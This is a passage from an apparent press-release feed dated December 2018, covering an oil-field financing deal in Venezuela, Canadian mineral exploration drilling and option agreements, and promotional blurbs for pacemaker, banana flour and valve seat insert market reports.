Assistance Company is intended to closely support the Mixed Company for the conception and implementation of development plans. A significant amount of work has been performed already in order to start a work programme immediately after completion and see a swift impact on production. Maurel & Prom will also appoint a number of secondees for certain positions within the Mixed Company, in an agreement similar to what Shell had in place as Shareholder B. On the financial side and in order to secure the access to cash flows and guarantee the payments to the various stakeholders, it has been agreed that the oil production of the Field would be split in two parts: A portion of the production will be retained by PDVSA in order to satisfy Venezuelan taxes and royalties as well as a portion of the dividends due to the Shareholder A; The balance of production will be made available by PDVSA to be lifted by a buyer designated by the Mixed Company from the Ule terminal in Lake Maraicabo. The proceeds from the sale will be denominated and paid in euros to a bank account located outside Venezuela (the "Collection Account"). Funds transferred to the Collection Account will be used for the payment of contractors for operating and capital expenditures, as well as the payment of dividends to Shareholder B. Reimbursements made to Maurel & Prom Venezuela under the terms of the Project Funding will also flow through the Collection Account. This press release contains inside information as per the definition of article 7 of Regulation n596/2014. For more information, visit www.maureletprom.fr Contacts MAUREL & PROM Press, shareholder and investor relations Tel: +33 (0)1 53 83 16 45 ir@maureletprom.fr NewCap Financial communications and investor relations Julie Coulot/Louis-Victor Delouvrier Tel: +33 (0)1 44 71 98 53 maureletprom@newcap.eu Media relations Nicolas Merigeau Tel: +33 (0)1 44 71 94 98 maureletprom@newcap.eu This document may contain forward-looking statements regarding the financial position, results, business and industrial strategy of Maurel & Prom. By nature, forward-looking statements contain risks and uncertainties to the extent that they are based on events or circumstances that may or may not happen in the future. These projections are based on assumptions we believe to be reasonable, but which may prove to be incorrect and which depend on a number of risk factors, such as fluctuations in crude oil prices, changes in exchange rates, uncertainties related to the valuation of our oil reserves, actual rates of oil production and the related costs, operational problems, political stability, legislative or regulatory reforms, or even wars, terrorism and sabotage. Maurel & Prom is listed for trading on Euronext Paris CAC All-Share - CAC Oil & Gas - Next 150 - PEA-PME and SRD eligible Isin FR0000051070 / Bloomberg MAU.FP / Reuters MAUP This announcement is distributed by West Corporation on behalf of West Corporation clients. The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein. Source: Maurel & Prom via Globenewswire PR-Inside.com: 2018-12-20 19:53:28 Press Information RESEARCH REPORT INSIGHTS Contact Us: Research Report Insights (RRI) 42 Joseph Street Port carling P0B 1J0 Muskoka, Ontario1 Phone - +1-631-721-4201 Website: https://www.researchreportinsights.com/ Email: sales@researchreportinsights.com Bissu Analyst 6317214201 email https://www.researchreportinsights.com/ # 682 Words Contact Us:Research Report Insights (RRI)42 Joseph StreetPort carling P0B 1J0Muskoka, Ontario1Phone - +1-631-721-4201Website: https://www.researchreportinsights.com/Email: sales@researchreportinsights.comAnalyst6317214201 The vendor landscape of the global market for pacemaker devices is moderately fragmented, thanks to the presence of several established medical companies, observes RRI in a recent report. In the next few years, the market is likely to become more crowded and competitive owing to the rising number of specialist players in the market globally. To remain competitive in such intense dynamics, companies have begun focusing more on innovations and expansion of business across promising emerging markets.Implantable Pacemakers Continue to Remain Most Preferred Product VarietyOf the two key varieties of pacemaker devices in the market, namely external and implantable pacemakers, the segment of implantable pacemakers held a clear authority in the market, holding a more than 65% of the market in 2017. The segment is also likely to hold its ground over the reports forecast period. The steady rise in the number of innovative devices in this sector, improved convenience of advanced implantable pacemakers over external devices in terms of comfort and accuracy will continue to help implantable pacemaker devices remain the most preferred product type over the reports forecast period as well.Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114851/Pacemaker-Devices-Market Geographically, the market for pacemaker devices in North America presently dominates in terms of revenue contribution to the global market. The regional market, holding a major share in the global markets overall revenue in 2016, is expected to expand at a robust CAGR of 8.7% over the period between 2017 and 2022. The well-established healthcare research sector in the region and the early adoption of innovative technologies in the field of healthcare and medicine could help the region retain its dominance in the global pacemaker devices market over the reports forecast period as well.Global Pacemaker Devices Market: Technological Advancements in Pacemaker Devices Help Market Gain Traction, says RRIIncreased Funds from Public and Private Bodies Help Push Research Activities AheadOne of the key factors likely to help the global pacemaker devices market gather steady pace in the near future is the rising support in the form of conducive regulations, increased funds and investments directed towards R&D activities in the field of advanced medical devices across the globe. Along with private investments, the market for pacemaker devices is also witnessing a significant rise in investment from governments and public bodies. An uptick in research and development activities is favoring the overall growth prospects of the market as well.The market is also benefitting from the increased incorporation of advanced connectivity features in modern-day pacemakers. Increased advent of technologically advanced products is expected to remain one of the key drivers for the market in the next few years as several new and specialized medical device companies are entering the market. Easy availability of advanced technology across high growth potential regions that have vast untapped growth opportunities could also benefit the market massively.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114851/Pacemaker-Devices-Market The report is titled Pacemaker Devices Market (Product Type - External, Implantable; End User - Hospitals, Cardiology Clinics, ASCs; Application - Arrhythmia, Atrial Fibrillation, Bradycardia, Tachycardia; Technology - Single Chamber, Dual Chamber, Biventricular) - Global Industry Analysis, Size, Share, Growth, Trends and Forecast 20172022.For the study, the global pacemaker devices market has been segmented as follows:Global Pacemaker Devices Market: Product TypeExternalImplantableGlobal Pacemaker Devices Market: End UserHospitalsCardiology ClinicsASCsGlobal Pacemaker Devices Market: TechnologySingle ChamberDual ChamberBiventricularGlobal Pacemaker Devices Market: ApplicationArrhythmiaAtrial FibrillationBradycardiaTachycardiaGlobal Pacemaker Devices Market: GeographyNorth AmericaLatin AmericaEuropeJapanAsia Pacific except JapanMiddle East and AfricaKey Players:Some of the leading players operating in the global pacemaker devices market areBoston Scientific Corporation, Biotronik SE & Co. KG,Medtronic Plc.,OSYPKA AG, Lepu Medical Technology,Pacetronix Limited, Oscor Inc.,Zoll Medical Corporation, andAbbott Laboratories RRI analysts estimate that the global pacemaker devices market will exhibit a promising 8.1% CAGR over the period between 2017 and 2022, rising from a valuation of US$5.5 bn in 2017 to US$8.1 bn by 2022.Report Analysis@ https://www.researchreportinsights.com/report/rd/110114851/Pacemaker-Devices-Market PR-Inside.com: 2018-12-20 16:42:09 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 1019 Words ACCESSWIRE News Network888.952.4446 TORONTO, ON / ACCESSWIRE / December 20, 2018 / Renforth Resources Inc. (CSE - RFR) ("Renforth" or the "Company") is pleased to announce that the December 2018 drill program at Parbec has been completed with 7 holes drilled in 1040 m. Each of the 7 holes intersected mineralization in different lithologies, including a "magnetic diorite" visually similar to the material encountered at the SE extent of the Parbec body. Logging of the core has been completed, selected samples are being cut, bagged and tagged and securely delivered to the lab for assaying, results will be released once available.Drilling SummaryRenforth has completed the following 7 drill holes, PAR-18-88 and PAR-18-89 were previously summarized in the press release of 12/04/18.PAR-18-88 (4975-T-B) drilled to a length of 161.4m in front of PAR-18-84 and behind PAR-17-69. Previously press released zones in PAR-18-84 included 9.45m at 4.66 g/t Au (09/11/18), previously press released zones in PAR-17-69 included 2.4m at 1.03 g/t Au and 9.7m at 0.81 g/t Au (01/23/18). PAR-18-88 was drilled to infill between the holes and extend continuity of mineralization, visual examination of the core shows that mineralized zones were intersected where anticipated, samples have been sent for assay.PAR-18-89 (5000-T-A) drilled to a length of 150m this hole is in front of PAR-18-70 and PAR-18-85. Previously press released zones in PAR-18-70 included 14.1m of 1.26 g/t Au and 3.7m of 3.16 g/t Au (02/26/18). Previously press released zones for PAR-18-85 included 10.8m of 1.69 g/t Au (09/11/18). PAR-18-89 was drilled to intersect the mineralization seen in PAR-18-70, visual examination of the core concludes that zones similar to those seen in PAR-18-70 were intersected, samples have been sent for assay.PAR-18-90 (4975-T-A) drilled to a length of 210m this hole was a step out 50m west, parallel to PAR-18-85, designed to test the Partridge Zone intervals in the area including previously released results from PAR-18-85 with 10.8m of 1.69 g/t Au (11/11/18), PAR-18-73 with 32.6m of 1.44 g/t Au (02/26/18) and PAR-18-74 with 9.45m of 4.66 g/t Au (02/26/18). Numerous mineralized zones were intersected in this drill hole, based upon visual examination. Samples have been sent for assay.PAR-18-91 (4900-T-B) drilled to a length of 93m this hole was a step out 25m to the west and a step back 15m from PAR-18-71 and PAR-18-72, both of which intersected shallow diorite-hosted mineralization. PAR-18-91 successfully intersected several apparently mineralized zones within the targeted depth range and, unexpectedly, encountered the "magnetic diorite". Samples have been sent for assay.PAR-18-92 (4850-T-A) drilled to a length of 165m this hole, at the western limit of modern drilling at Parbec, was testing the up-dip extension (an "over cut") of PAR-10-04's deep mineralization intercepts obtained by a previous operator, targeting shallower intercepts. This hole successfully intersected mineralization in the hole, samples have been sent for assay.PAR-18-93 (4800-T-A) was drilled to a length of 114m, collared 50m west of PAR-18-92, designed to test for strike continuity of mineralization to the west, successfully intersected mineralization as assessed visually, samples have been selected and sent for assay.PAR-18-94 (4900-T-B undercut) the final hole in this program was drilled to a length of 153m, several meters back from the casing for PAR-18-91, drilled to undercut PAR-18-91 in order to test the depth extension, and obtain vertical separation for modelling purposes, of mineralization encountered in PAR-18-91, specifically the "magnetic diorite", or strongly magnetic carbonate-breccia diorite or diabase unit. This hole successfully intersected mineralization as assessed visually in the field, with a vertical separation between the "magnetic diorite" of approximately 60m. Samples have been selected and sent for assay.This program finished with 1046.8m drilled in 7 holes in total. Samples have been selected and are being cut, bagged, tagged and securely delivered to the lab. It is anticipated that all samples will be submitted prior to Christmas, with assays to be received in the New Year. Assay results will be reported once received.Renforth is undertaking to raise funds for additional drilling at Parbec in the New Year via a unit offering of common or flow through shares. The units are priced at $0.05, the common share unit carries a full warrant exercisable at $0.10 for 24 months, the flow through share unit carries a half a warrant, a full warrant exercises into a common share for a period of 18 months at a price of $0.12.December 2018 Drill Plan Map(To view the full-size image, please click here)Technical Information in this press release has been reviewed and approved by Brian H. Newton P.Geo, a "qualified person" pursuant to the guidelines of 43-101. Assays referenced in previous drilling are "core length" references only, not true width, and were originally press released on the dates given in brackets. Those samples were selected in the field, cut, bagged, tagged and sealed by the project geologist and delivered personally to the facilities of Laboratoire d'Analyse Bourlemaque to be fire assayed for gold.For further information please contact:Renforth Resources Inc.Nicole BrewsterPresident and Chief Executive OfficerT:905-831-9606E: nicole@ renforthresources.com #269 - 1099 Kingston Road, Pickering ON L1V 1B5No securities regulatory authority has approved or disapproved of the contents of this news release.Forward Looking StatementsThis news release contains forward-looking statements and information under applicable securities laws. All statements, other than statements of historical fact, are forward looking. Forward-looking statements are frequently identified by such words as 'may', 'will', 'plan', 'expect', 'believe', 'anticipate', 'estimate', 'intend' and similar words referring to future events and results. Such statements and information are based on the current opinions and expectations of management. All forward-looking information is inherently uncertain and subject to a variety of assumptions, risks and uncertainties, including the speculative nature of mineral exploration and development, fluctuating commodity prices, the risks of obtaining necessary approvals, licenses and permits and the availability of financing, as described in more detail in the Company's securities filings available at www.sedar.com . Actual events PR-Inside.com: 2018-12-20 14:03:01 VANCOUVER, British Columbia, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Rockridge Resources Ltd. (TSX-V: ROCK) (Rockridge or the Company) is pleased to announce that the TSX Venture Exchange has approved the Companys Option Agreement to acquire the Knife Lake Copper VMS project (the Property) which constituted a Fundamental Acquisition as defined in TSX Venture Exchange Policy 5.3. Rockridge entered into an Option Agreement (the Agreement) with Eagle Plains Resources Ltd. (TSX-V: EPL) to acquire a 100% interest in a property that covers the majority of the historic Knife Lake Cu-Zn-Ag-Co VMS deposit. The contiguous claims total approximately 85,196 hectares and are located approximately 50 km northwest of Sandy Bay, Saskatchewan (the Knife Lake Project or Property). Knife Lake VMS Project Map: http://www.rockridgeresourcesltd.com/_resources/Knife_Lake_Region_20181011.pdf Highlights: The Knife Lake Project area is an advanced-stage copper, silver, zinc and cobalt exploration property in Saskatchewan that has had extensive exploration from the late 1960s to the 1990s with the last documented work program completed in 2001. The Company reports that Knife Lake hosts a shallow deposit with a drill-indicated historical estimate of 20.3 million tonnes grading 0.6% Cu, 0.1 g/t Au, 3.0 g/t Ag, 0.06% Co and 0.11% Zn (Leader Mining 1998). Higher grade zone of 11.0 million tonnes grading 0.75% Cu in addition to other metals within this historical estimate. Included in the above historical resource estimate are historical drill results including 1.37% Cu, 5.07 g/t Ag, 115 ppm Co, 1182 ppm Zn over 60.13 m beginning at a depth of 2.37 m in hole K-96-02 as well as 0.99% Cu, 4.73 g/t Ag, 103 ppm Co over 38.83 m beginning at a depth of 6.11 m in hole K-96-36. There is strong discovery potential in and around the deposit as well as at regional targets on the Property. The Company is planning for an initial diamond drill program in early 2019 with drill permits having been received; details of the drill program are forthcoming. Rockridge has closed an oversubscribed private placement raising gross proceeds of $1,694,000. Rockridges President and CEO, Jordan Trimble commented: This is a significant milestone for Rockridge as we look to position the Company as a go-to copper and battery metal exploration and development company. The Knife Lake Project is located in a top mining jurisdiction, has seen extensive exploration and drilling, and boasts a near-surface historical resource which is open along strike and at depth. There is robust discovery potential in and around the deposit as well as on regional targets on the property. Worth noting is that most of the historic exploration was carried out in the 90s and ceased due to low metal prices. Rockridge is planning for a winter drill program to commence early in 2019 as we look to unlock value at the project with a new look at the exploration and drilling going forward. Knife Lake Geology and History: The Knife Lake Project is interpreted to be a remobilized VMS deposit. The stratabound mineralized zone is approximately 15 m thick and contains copper, silver, zinc and cobalt mineralization which dips 30 to 45 eastward over a strike-length of 4,500 m, with an average horizontal width of approximately 300 m. Over 400 diamond drill-holes have been completed in and around the current property boundaries, with much of the drill core stored under cover and in very good condition. Knife Lake Deposit Map: http://www.rockridgeresourcesltd.com/_resources/Knife_Lake_Location_and_Highlights_20181011.pdf The deposit is hosted by felsic to intermediate volcanic and volcaniclastic rocks which have been metamorphosed to upper amphibolite facies. The deposit is typical of VMS mineralogy which has been significantly modified and partially remobilized during the emplacement of granitic rocks. The mineralization straddles the boundary between two rock units and occurs on both limbs of an overturned fold. The Knife Lake area saw extensive exploration from the late 1960s to the 1990s with the last documented work program completed in 2001. Drilling has outlined a series of stratabound mineralized lenses which are controlled by complex geological structures. In the copper mineralized zone, significant thickening of the mineralization occurs near the central portion of the deposit. Sulphides and rare native copper are visible in outcrop. Massive sulphides consist of 25% to 60% pyrrhotite and 0.2% to 10% chalcopyrite mineralization. Pyrite is present as irregular disseminations and masses. Locally, up to 8% sphalerite (zinc mineralization) is present. The first documented work in the Knife Lake showing area occurred between 1969-1973, consisting of ground and airborne geophysical surveys and extensive soil geochemical sampling. The discovery drill-hole, collared in September, 1969, returned 2.37% Cu over 4.48 m from 19.96-24.44 m, including 3.5% Cu over 2.5 m from 20.27-22.77 m. A total of 96 diamond drill holes (8,232 m) were completed between 1969-1971 and in 1973 Straus Exploration announced a maiden resource on the Knife Lake Deposit. Hudson Bay Exploration and Development Company Ltd. later carried out a regional Airborne EM geophysical survey in the Knife Lake Scimitar Lake area, followed up by geological mapping, prospecting, ground geophysics and diamond drilling. The property was subsequently optioned to Copperquest Incorporated in 1989, who carried out further geophysical and geochemical surveys and optioned the property to Leader Mining International in 1996. Between 1996 and 2001, Leader flew various airborne geophysical surveys in the area, including electromagnetic (EM), magnetic, and gravity surveys. This was followed up with stripping and trenching of the outcropping deposit area. Ground TEM, magnetic, ground IP/Resistivity and VLF-EM surveys were completed over and adjacent to the main deposit area. Between 1996 and 1998, Leader completed 315 diamond drill holes, outlining a broad zone of mineralization occurring at less than 100 meters depth (AF 63M-0006, Report 10). Late in 1998, Leader published a historical estimate for the deposit, reporting a drill-indicated resource of 20.3 million tonnes grading 0.6% Cu, 0.1 g/t Au, 3.0 g/t Ag, 0.06% Co and 0.11% Zn. Within the historical estimate there is a higher grade zone containing 11.0 million tonnes grading 0.75% Cu in addition to other metals (SMDI 0406). The disclosed historical estimate was completed prior to the passing of NI 43-101 into law and as such the Company advises that these mineral resource estimates, as disclosed, are not supported by a compliant National Instrument 43-101 technical report, contrary to NI 43-101. A qualified person has not done sufficient work to classify these historical estimates as current mineral resources or mineral reserves in accordance with NI 43-101. The above resource estimates are from the Saskatchewan Mineral Deposit Index (SMDI) 0406. The Company is not treating the historical estimates as current mineral resources or mineral reserves. These estimates do not comply to categories prescribed by National Instrument 43-101 or the Canadian Institute of Mining, and are disclosed only as indications of the presence of mineralization and are considered to be a guide for additional work. The historical models and data sets used to prepare these historical estimates are not available to Rockridge and the author is not aware of any more recent resource estimates or data. The 1998 historical resource was calculated using the cross-section method and used assay data from 241 Leader holes and from 6 other holes drilled prior to Leaders drilling. A cutoff grade of 0.3% copper-equivalent and a minimum composite length of 3.0 meters was used. Holes were plotted on vertical drill sections ranging from Section 20760 N to Section 24905 N, covering a strike length of 4,145 meters. The categories used for the Leader Mining 1998 historical resource estimates are stated as being drill-indicated. This is not a resource category as defined under 43-101 CP Section 2.4 (1) and (2)6 but based on the methodologies and drill hole spacing it would likely be equivalent to an inferred resource category. In 1997, Leader International shipped a 2.4 tonne bulk sample of mineralized material excavated from the surface outcrop of the Knife Lake deposit to Lakefield Research Limited for metallurgical test-work. Lakefield concluded that the copper metallurgy was straightforward. Following a simple flowsheet, greater than 90% copper recovery was achieved at a concentrate grade of 28% Cu. Gold recovery in the copper concentrate was 80%. The cobalt recovery in the copper cleaner concentrate was 13%, with 28% of the cobalt present in cleaner tailing products. Another 48% of the cobalt was present in the sulphide concentrate. A 357kV powerline runs within 16 km of the Knife Lake Deposit area, greatly enhancing the projects infrastructure. Future Exploration and Development Plans: The Knife Lake Project has a drill permit in place and the Company is planning for an initial diamond drill program in early 2019. Details of the drill program are forthcoming. Terms of Option Agreement: Under the terms of the Agreement, which is subject to TSX Venture Exchange (the Exchange) approval, Rockridge may acquire a 100% interest in the Knife Lake Project by making cash payments to Eagle Plains Resources totalling CDN $150,000, issue up to 5,250,000 common shares of Rockridge, and incur exploration expenditures of up to CDN $3,250,000, over a four year period as follows: On Exchange acceptance: issuing 2,000,000 shares of which 1,000,000 shall be held in escrow with an escrow agent for 6 months and the remaining 1,000,000 shall be held in escrow with an escrow agent for 12 months; cash payment of $150,000; By the first anniversary date: issuing 750,000 shares and incurring exploration expenditures of $750,000; By the second anniversary date: issuing 750,000 shares and incurring additional exploration expenditures of $750,000; By the third anniversary date: issuing 750,000 shares and incurring additional exploration expenditures of $750,000; and By the fourth anniversary date: issuing 1,000,000 shares and incurring additional exploration expenditures of $1,000,000. The Exchange has confirmed that the Companys stock halt will be lifted. The Company expects trading to resume at on December 20th, 2018. A National Instrument 43-101 technical report for the Property has been prepared in connection with the Agreement and will be filed on SEDAR at www.sedar.com. Private Placement Financing: In connection with the Option Agreement, the Company announces that it has closed an oversubscribed non-brokered private placement of 8,470,000 units (each a Unit) at a price of $0.20 per Unit to raise gross proceeds of up to $1,694,000. Each Unit consists of one common share and one common share purchase warrant exercisable to purchase one additional common share at a price of $0.35 per share for a period of five (5) years from the date of issuance. In addition, the Company has paid finders fees of a total of $40,985 and issued an aggregate 204,925 finders warrants (the Finders Warrants). Each Finders Warrant is exercisable into one common share for a period of up to five years (5) at a price of $0.35. The Company intends to utilize the proceeds from the private placement on its initial work program at the Knife Lake Project and for general working capital purposes. All securities issued from the private placement are subject to a four-month-and-one-day hold period. Qualified Person: The scientific and technical information in this news release has been prepared in accordance with the Canadian regulatory requirements set out in National Instrument 43-101 and reviewed and approved by Richard Kusmirski, P.Geo., M.Sc., a Director of Rockridge and a Qualified Person. About Rockridge Resources Ltd.: Rockridge Resources (TSX.V: ROCK) is a new public mineral exploration company focused on the acquisition, exploration and development of mineral resource properties in Canada, specifically copper and battery metal projects. The Companys flagship project is the Knife Lake Project located in Saskatchewan which is ranked as the #2 mining jurisdiction in the world by the Fraser Institute. The project hosts the Knife Lake Deposit which is a VMS, near-surface Cu-Co-Au-Ag-Zn deposit open along strike and at depth. There is strong discovery potential in and around the deposit area as well as at regional targets on the 85,196-hectare property. Rockridges goal is to maximize shareholder value through new mineral discoveries, committed long-term partnerships, and the advancement of exploration projects in geopolitically favourable jurisdictions. Rockridge Resources Ltd. Jordan Trimble Jordan Trimble President and CEO For further information contact myself or: Nick Findler Corporate Development and Communications Rockridge Resources Ltd. Telephone: 604-639-3850 Toll Free: 800-567-8181 Facsimile: 604-687-3119 Email: nfindler@sentinelmarket.com NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THE CONTENT OF THIS NEWS RELEASE. Forward Looking Information This news release includes certain statements that constitute forward-looking information within the meaning of applicable securities law, including without limitation, statements that address the Property, obtaining a permit, comments regarding the timing and content of upcoming work programs, timing of future exploration and development, acquisition of other mineral properties, other statements relating to the financial and business prospects of the Company. Forward-looking statements address future events and conditions and are necessarily based upon a number of estimates and assumptions. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as expects or does not expect, is expected, anticipates or does not anticipate, plans, estimates or intends, or stating that certain actions, events or results may, could, would, might or will be taken, occur or be achieved), and variations of such words, and similar expressions are not statements of historical fact and may be forward-looking statements. Forward-looking statement are necessarily based upon a number of factors that, if untrue, could cause the actual results, performances or achievements of the Company to be materially different from future results, performances or achievements express or implied by such statements. Such statements and information are based on numerous assumptions regarding present and future business strategies and the environment in which the Company will operate in the future, including the price of gold and other metals, anticipated costs and the ability to achieve goals. While such estimates and assumptions are considered reasonable by the management of the Company, they are inherently subject to significant business, economic, competitive and regulatory uncertainties and risks. Forward-looking statements are subject to a variety of risks and uncertainties, which could cause actual events, level of activity, performance or results to differ materially from those reflected in the forward-looking statements, including, without limitation: (i) risks related to copper, gold, other base metals and other commodity price fluctuations; (ii) risks and uncertainties relating to the interpretation of exploration results; (iii) risks related to the inherent uncertainty of exploration and cost estimates and the potential for unexpected costs and expenses; (iv) that resource exploration and development is a speculative business; (v) that the Company may lose or abandon its property interests or may fail to receive necessary licences and permits; (vi) that environmental laws and regulations may become more onerous; (vii) that the Company may not be able to raise additional funds when necessary; (viii) the possibility that future exploration, development or mining results will not be consistent with the Companys expectations; (ix) exploration and development risks, including risks related to accidents, equipment breakdowns, labour disputes or other unanticipated difficulties with or interruptions in exploration and development; (x) competition; (xi) the potential for delays in exploration or development activities or the completion of geologic reports or studies; (xii) the uncertainty of profitability based upon the Companys history of losses; (xiii) risks related to environmental regulation and liability; (xiv) risks associated with failure to maintain community acceptance, agreements and permissions (generally referred to as social licence); (xv) risks relating to obtaining and maintaining all necessary government permits, approvals and authorizations relating to the continued exploration and development of the Companys projects; (xvi) risks related to the outcome of legal actions; (xvii) political and regulatory risks associated with mining and exploration; (xix) risks related to current global financial conditions; and (xx) other risks and uncertainties related to the Companys prospects, properties and business strategy. These risks, as well as others, could cause actual results and events to vary significantly. There can be no assurance that planned exploration will be completed as proposed or at all; and there can be no assurance that the Company will acquire other mineral properties. Accordingly, actual results may differ materially from those currently anticipated in such statements. Factors that could cause actual results to differ materially from those in forward looking statements include, but are not limited to, continued availability of capital and financing and general economic, market or business conditions, market and commodity prices, exploration and development successes or failures, equipment failures, increase in costs, the loss of key directors, employees, advisors or consultants and fees charged by service providers. Investors are cautioned that forward-looking statements are not guarantees of future performance or events and, accordingly are cautioned not to put undue reliance on forward-looking statements due to the inherent uncertainty of such statements. The forward-looking statements included in this news release are made as of the date hereof and the Company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable securities legislation. Persistence Market Research has announced the addition of the Banana Flour Market to Register Steady Expansion During 2017 2025" report to their offering. Banana Flour PR-Inside.com: 2018-12-20 09:35:30 Press Information Persistence Market Research CONTACT: Persistence Market Research 305 Broadway 7th Floor, New York City, NY 10007, United States, USA Canada Toll Free: 800-961-0353 Email: sales@persistencemarketresearch.com Web: http://www.persistencemarketresearch.com yogesh sengar team lead 800-961-0353 email http://www.persistencemarketresearch.com # 546 Words CONTACT:Persistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb: http://www.persistencemarketresearch.comteam lead800-961-0353 Banana flour is a powdered ingredient generally made from green banana or plantains. It is often used as a gluten free ingredient and added in various baked goods. Flour has a moisture content of about 4%-6%. A new research report by Future Market Insights, highlights the current scenario of the banana powder market and its demand and consumption in various applications. The report is titled Banana Flour Market: Global Industry Analysis (2012-2016) and Opportunity Assessment (2017-2027), and presents a brief about every aspect of the global market. According to this comprehensive research report, the global banana flour market is expected to reach a market value of US$ 730 Mn by the end of 2027. The global banana flour market is anticipated to witness a growth at a sluggish CAGR of around 3.8% during the forecast period. The betterment in the market scenario with increasing adoption of banana flour in bakery and other end uses, will encourage the manufacturers and key businesses to be more innovative.Global Banana Flour Market: DynamicsThe global banana flour markets growth is helped by the increase in production of green bananas or cooking bananas. Banana production has grown rapidly, registering a performance of +15 percent since 2008. Though dessert bananas account for 60% of the total production, the cooking banana sector has witnessed a steady growth in terms of production, indicating a rise in the demand for green bananas. There has also been a rise in the awareness about banana flour being a gluten free product. There will be a rise in the demand for gluten-free products in countries like the U.K., Italy, U.S., Spain, Germany, Australia, Brazil, Canada, and India. In most of the countries, banana flour is being used as a gluten-free replacement for wheat flour. This rise in the consumption of gluten-free products helps drive the demand for banana flour.Global Banana Flour Market: Segmental AnalysisOn the basis of distribution channel, direct channel is expected to reflect higher contribution to the growth of the global market. The indirect channel segment is expected to register a relatively higher CAGR of 4.2% during the forecast periodOn the basis of application, food industry leads the market with high market value. Moreover, the pet food and feed industry segment is projected to grow at a significant rate throughout the period of assessmentIn terms of source, conventional segment has a much higher market size and is expected to lead the global market during the forecast period. But organic source is projected to grow at a faster pace in the years to followBased on region, MEA is expected to dominate the market with an estimated market value of over US$ 300 Mn by the end of 2027. Whereas North America is expected to register the highest growth rate to register a value CAGR of 6.5% during the forecast periodGlobal Banana Flour Market: Competitive LandscapeThe research report covers details about major players in the industry. It provides the readers with a brief profile of the key players. Some of the major companies mentioned in the report are Zuvii, NuNatural Inc., Diana Foods, NOW Health Group Inc., Paradisefrucht GmbH, Kanegrade Ltd, ADM Wild Europe GmbH & Co. KG, International Agriculture Group, Stawi Foods and Fruits Limited etc.Request for sample report: https://www.futuremarketinsights.com/reports/sample/rep-gb-6155 PR-Inside.com: 2018-12-20 13:59:47 Press Information Future Market Insights U.S. Office 616 Corporate Way,, Suite 2-9018, Vall sales@futuremarketinsights.com Manager 3479183531 email https://www.futuremarketinsights.com/ Published by Vijay Kundekar 13479183531 e-mail https://www.futuremarketinsights.com # 671 Words U.S. Office 616 Corporate Way,, Suite 2-9018, VallManager3479183531Vijay Kundekar13479183531 Valve seat inserts are utilized in combustion chamber of cylinder head and exhaust of engines. Furthermore, valve seat inserts are the interface between the valve and the cylinder head of an internal combustion engine. The valve seat inserts and valves collectively seals off the combustion chamber and controls the intake valve & exhaust valve. Additionally, for improving and enhancing the overall efficiency of the engines the manufactures of valve seat inserts are working on product development by improving and introducing new powder metal valve seats with high heat resistance, low wear and excellent machinability. This types of vales seats inserts are capable to sustain higher levels of thermal and mechanical stress.Valve Seat Inserts Market: Market DynamicsIncreasing innovations in engine technologies and advancements relating to clean burning fuel are expected to drive growth in valve seat inserts market. This can be attributed to the increasing demand for valve seat inserts with the growing production of internal combustion engines. Further, growing automotive production, oil & gas activities and marine activities are propelling the demand for valve seat inserts in the global market. Moreover, with the increasing usage of aluminum cylinder heads, the demand for valve seat inserts have witnessed healthy growth, and is projected to continue over the projected period of time. The growing demand for automobiles across the globe is key reason responsible for healthy growth for valve seat inserts market. Since, engines are the heart of the automobile and without it the vehicle are of no use. Therefore, continues increase in the demand for automobiles is going to upsurge the demand for valve seat inserts in the future. Moreover, rapid industrialization and increasing oil & gas exploration activities across the globe is another factor driving the demand for valve seat inserts in the global market. Furthermore, increasing usage of electric vehicle and electrically powered equipments can have significant impact on overall demand for valve seat inserts in the global market.Request For Report Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-7258 Valve Seat Inserts Market: SegmentationThe global market for valve seat inserts can be segmented on the basis of type, material type, external diameter, application and end use.On the basis of type, the global valve seat inserts market can be segmented as:Inlet Valve Seat InsertsExhaust Valve Seat InsertsOn the basis of material type, the global valve seat inserts market can be segmented as:Iron BaseNickel BaseChromium BaseCopper BaseCobalt BaseOtherOn the basis of eternal diameter, the global valve seat inserts market can be segmented as:Below 50 mm50 -100 mmAbove 100 mmOn the basis of application, the global valve seat inserts market can be segmented as:Diesel EnginesGasoline (petrol) EnginesGas EnginesOn the basis of end use, the global valve seat inserts market can be segmented as:AutomotiveMarineIndustrial EnginesValve Seat Inserts Market: Regional OutlookIn the global market for value seat inserts, Asia Pacific is expected to play most crucial role in the overall growth and development of market. This can be attributed to the growing automotive production and oil & gas activities in the region. Moreover, rapid industrialization in the region is also one of the factor driving the demand for valve seat inserts from the region. The developing countries such as India & China in the Asia Pacific region are responsible for the higher demand for valve seat inserts for the region. Moreover, North America & Europe are also projected to register healthy growth in the future. The growing demand for engines for all end use industries are responsible for significant growth of valve seat inserts market in the respective regions.Request For Report Table of Content (TOC): https://www.futuremarketinsights.com/toc/rep-gb-7258 Valve Seat Inserts Market: Market ParticipantsNames of some of the market participants involved in the manufacturing and sales of valve seat inserts are:Federal-Mogul LLCMS Motorservice International GmbHMicrofinishMAHLE GmbHSummit Valve Train LLCPerfect Alloy Components Pvt. Ltd.S.B. INTERNATIONAL, INC.Tucker Valve Seat CompanyCoopercorp Engine Components PR-Inside.com: 2018-12-20 21:11:57 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 976 Words ACCESSWIRE News Network888.952.4446 Vancouver, British Columbia, December 20, 2018 - Tasca Resources Ltd. ("Tasca", "TAC" or the "Company") (TSX Venture: TAC) (Frankfurt: 3TA) is pleased to announce the signing of an option agreement between Sydney Wilson and Canarc Resource Corp. (Canarc) enabling Canarc to acquire up to an 80% interest in Tasca's 14,650 hectare Princeton Gold property located in southern British Columbia, Canada.Clive Massey, Tasca's President and 